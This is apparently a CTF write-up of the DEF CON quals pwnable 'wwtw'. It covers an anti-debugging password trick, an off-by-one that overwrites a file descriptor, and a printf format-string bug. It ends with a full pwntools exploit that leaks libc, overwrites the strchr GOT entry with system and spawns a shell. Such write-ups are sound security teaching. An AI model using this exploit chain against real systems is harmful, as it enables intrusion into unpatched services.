Wibbly wobbly timey wimey, or "wwtw" was a two point pwnable from Defcon quals this year. I worked on this challenge with my teammate, @MarvelousBreadchris. Running it right away shows us a little game screen:
You(^V<>) must find your way to the TARDIS(T) by
avoiding the angels(A).
Go through the exits(E) to get to the next room
and continue your search.
But, most importantly, don't blink!
012345678901234567890
00
01
02
03 ^ A
04
05
06 A
07 AA
08 E
09
10
11
12
13
14
15
16
17
18 A
19 A
Your move (w,a,s,d,q): Too slow!
It's actually a pretty easy game with five levels. Based on previous experiences with games in CTF challenges, I figured the real challenge was two-fold: first automate the game, and then exploit the immediately visible vulnerability. I was correct about the first part, but not entirely so about the second.
Luckily for me, I have a @MarvelousBreadchris on my team, so I didn't have to write the game solver. As soon as you solve the game and get to the "tardis" though, you get a password prompt. Getting it wrong causes the game to exit. Here's where it gets a bit tricky: if you use a debugger and step through the password function one instruction at a time, you might find that you end up with the wrong password.
Basically, the function reads the raw bytes of itself, comparing your input to the printable bytes in the function. The problem only appears when you set a breakpoint on the function to extract the password, and try using that password without a debugger attached. The secret is in how debuggers work. On x86/64 architectures, debuggers place an int3
instruction at the target breakpoint by writing a 0xCC byte. This changes the actual byte that ends up appearing in the function, basically working as a "hidden in plain sight" anti-debugging trick. To get the password, I wrote up an idapython one-liner (0xeb8 is the address of the function):
''.join([chr(x&0x7f) if chr(x&0x7f).isalnum() is True else '' for x in map(lambda x: idaapi.get_byte(0xeb8+x), xrange(50))])[:10]
And we have the password: UeSlhCAGEp
Once in the "tardis," you're given a prompt, but trying to do anything useful doesn't work:
Welcome to the TARDIS!
Your options are:
1. Turn on the console
2. Leave the TARDIS
Selection: 1
Access denied except between
May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT
Clearly we couldn't travel to a day before the CTF, so we needed to do something else. Doing some more reversing, I spotted this oddity:
Basically, it does something like this:
... inside the main loop after the game ...
tardis_menu(); // print the menu
// user_input is a 12 byte array of 4 bytes
bzero(user_input, 8); // zero out eight bytes (user_input[0] and user_input[1])
read(stdin, user_input, 9); // read nine bytes
It zeroes out eight bytes of user_input
, but reads in nine. This means the ninth byte is never erased via bzero. Now we just need to figure out what the ninth byte of user_input
is used for. Continuing on with more reversing, I spotted a function, time_vortex_thing
, which is set via alarm()
to execute every two seconds. Here's the interesting bit:
We can see it's using user_input[2]
as the file descriptor for read
. For the sake of "brevity", user_input[2]
actually holds the file descriptor for a loopback socket, which we don't have access to as an outside attacker. This is unfortunate, because in the second block of the last screenshot, we see that the input on this socket is directly written into current_timestamp
- what the "tardis" uses to confirm the current time.
However, using the fact that we can send in nine bytes and overflow into user_input[2]
, we actually control the file descriptor!! Using the overflow, we can redirect this time traveling bit to read from stdin, instead of the loopback socket! We're time traveling!
After passing in a timestamp within the accepted range, a third option is unlocked:
3. Dematerialize
After reading this function, it's pretty clear what we need to do.
(You might need to click the picture to zoom in)
The teleport function reads a pair of coordinates and calls atof()
on it twice, once before the comma, and once after it. After it gets the floating point version of your strings, it does some comparisons (the fstp
, fld
, fucomip
). If your coordinates match the "bad" coordinates, it prints some strange error message about time and space. The issue is with how it's printed: it calls printf()
with your input (string form) as the first parameter!!!
We now have a controlled format string vulnerability that lets us basically read a limited set of memory, and write anywhere. The reading bit is really important here, because the binary is running both with ASLR and PIE - we don't know where anything is located before hand. By passing in format specifiers, we can read addresses off the stack, disclosing things such as return addresses (which would tell us where the binary is located in memory), stack cookies (which would let us overwrite the return address on the stack without stack smashing protections stopping us), and more importantly, libc addresses on the stack (which gives us access to the entirety of libc).
My initial version of the exploit involved leaking out an address from the binary, using the controlled format string to write an to write a ROP chain to memory, and then using the format string again to replace a function in the GOT with a stack pivot that lands me in my ROP chain. It was a hueg pain in the butthole, so I decided to use the libc leak instead.
Because there is a strchr
called on your input at every iteration, I decided to overwrite its GOT entry with the libc address of system
. To do that, I used the controlled format string to leak a libc address from the stack. I wasn't sure what it was the address of at first, but comparing against my local copy of libc, I saw it was _IO_2_1_stdout_
. Because I knew how far _IO_2_1_stdout_
was from the base of libc, I was able to calculate the base, and then I was able to calculate where system
was in relation to that. The issue with this is that this only works for my local copy of libc.so.6
. Luckily, having solved another exploitable challenge, I just grabbed the libc.so.6
from that system and used it to calculate the appropriate offsets.
Here's the final exploit code (adjusted for my VM offsets):
from pwn import *
import time, sys
def solve_maze(s, maze):
def find_things(m, find):
for x, row in enumerate(m):
for y, pos in enumerate(row):
if pos in find:
yield [x, y]
exit_pos = find_things(maze, "ET").next()
player_pos = find_things(maze, "^<V>").next()
angels = [x for x in find_things(maze, "A")]
y_amt = exit_pos[0] - player_pos[0]
x_amt = exit_pos[1] - player_pos[1]
y_dir = 0 if y_amt == 0 else y_amt/abs(y_amt)
x_dir = 0 if x_amt == 0 else x_amt/abs(x_amt)
y_chr = "s" if y_dir == 1 else "w"
op_y_chr = "s" if y_chr == "w" else "w"
x_chr = "d" if x_dir == 1 else "a"
path = ""
while player_pos != exit_pos:
if player_pos[0] != exit_pos[0]:
if [player_pos[0] + y_dir, player_pos[1]] not in angels:
player_pos[0] += y_dir
path += y_chr
else:
player_pos[1] += x_dir
player_pos[0] += y_dir
path += x_chr
path += y_chr
elif player_pos[1] != exit_pos[1]:
if [player_pos[0], player_pos[1] + x_dir] not in angels:
player_pos[1] += x_dir
path += x_chr
else:
player_pos[1] += x_dir
path += y_chr
path += x_chr
path += x_chr
path += op_y_chr
#print path
for c in path:
s.sendline(c)
def read_map(s):
s.recvuntil(" 012345678901234567890\n")
lines = s.recvuntil("Your move (w,a,s,d,q): ").split("\n")[:-1]
return [x[2:] for x in lines]
while 1:
try:
s = remote('localhost',2323)
path_done = False
for x in range(5):
maze = read_map(s)
solve_maze(s, maze)
#print x
if x == 4:
s.recvuntil("TARDIS KEY:")
else:
s.recvuntil("...")
break
except EOFError:
s.close()
print "restarting"
time.sleep(.5)
continue
def get_format_data(s, data, payload2="1,1"):
s.send("3\n")
s.recvuntil("Coordinates: ")
s.send("51.492137,-0.192878 "+data+"\n")
response = s.recvuntil("Choose again.")
response = response.split('2878 ')[1].split(' is occupied')[0]
s.send(payload2+"\n")
if payload2 == "1,1":
s.recvuntil("Selection: ")
else:
s.recvline()
#return s.recvline().split('Coordinates: ')[1]
return response
x=open('g.sh', 'w'); x.write('#!/bin/sh\n'+"gdb -p %d\n" % (proc.pid_by_name('wwtw')[0]));x.close()
print "we made it fam"
# the tardis password
s.sendline("UeSlhCAGEp")
s.recvuntil("Selection: ")
# eight bytes + the overflow
s.send("1"*8 + "\x00")
time.sleep(2.5)
# the updated timestamp
s.send(p32(1431907181) )
s.send("1\n")
time.sleep(1)
s.recvuntil("Selection: ")
# get some data and figure out where the important things are
# %222$p and %275$p refer to where those values are on the stack
libc_address, return_address = map(lambda x: int(x,16), get_format_data(s, "%222$p %275$p").split(' '))
binary_base = return_address - 0x00001491
libc_base = libc_address - 0x001abac0
strchr_got = binary_base + 0x0000505C
system_libc = libc_base + 0x00040100
system_libc_0 = (system_libc & 0xFFFF0000) >> 16
system_libc_1 = (system_libc & 0x0000FFFF) >> 00
print "_IO_2_1_stdout_@libc:", hex(libc_address)
print "return@bin:", hex(return_address)
print "libc base:", hex(libc_base)
print "binary base:", hex(binary_base)
print "[email protected]:", hex(strchr_got)
print "system@libc:", hex(system_libc)
bytes_0 = system_libc_1 - (20+8)
bytes_1 = system_libc_0 - bytes_0 - (20+8)
print get_format_data(s, p32(strchr_got) + p32(strchr_got+2) + '%'+str(bytes_0)+'x%20$hn%'+str(bytes_1)+'c%21$hn', '/bin/sh')
s.interactive()
s.close()